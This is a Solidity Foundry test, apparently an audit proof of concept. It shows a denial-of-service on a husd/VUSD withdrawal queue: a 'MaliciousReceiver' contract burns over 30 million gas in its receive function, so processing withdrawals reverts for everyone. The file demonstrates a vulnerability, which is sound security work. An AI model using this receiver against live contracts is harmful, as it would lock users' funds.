```\n// SPDX-License-Identifier: UNLICENSED\npragma solidity 0.8.9;\nimport "./Utils.sol";\n\ncontract MaliciousReceiver {\n    uint256 public gas;\n    receive() payable external {\n        gas = gasleft();\n        for(uint256 i = 0; i < 150000; i++) {} // 140k iteration uses about 28m gas. 150k uses slightly over 30m.\n    }\n}\n\ncontract VUSDWithReceiveTest is Utils {\n    event WithdrawalFailed(address indexed trader, uint amount, bytes data);\n\n    function setUp() public {\n        setupContracts();\n    }\n\n    function test_CannotProcessWithdrawals(uint128 amount) public {\n        MaliciousReceiver r = new MaliciousReceiver();\n\n        vm.assume(amount >= 5e6);\n        // mint vusd for this contract\n        mintVusd(address(this), amount);\n        // alice and bob also mint vusd\n        mintVusd(alice, amount);\n        mintVusd(bob, amount);\n\n        // withdraw husd\n        husd.withdraw(amount);      // first withdraw in the array\n        vm.prank(alice);\n        husd.withdraw(amount);\n        vm.prank(bob);              // Bob is the malicious user and he wants to withdraw the VUSD to his smart contract\n        husd.withdrawTo(address(r), amount);\n\n        assertEq(husd.withdrawalQLength(), 3);\n        assertEq(husd.start(), 0);\n\n        husd.processWithdrawals();  // This doesn't fail on foundry because foundry's gas limit is way higher than ethereum's. \n\n        uint256 ethereumSoftGasLimit = 30_000_000;\n        assertGt(r.gas(), ethereumSoftGasLimit); // You can only transfer at most 63/64 gas to an external call and the fact that the recorded amt of gas is > 30m shows that processWithdrawals will always revert when called on mainnet. \n    }\n\n    receive() payable external {\n        assertEq(msg.sender, address(husd));\n    }\n}\n```\n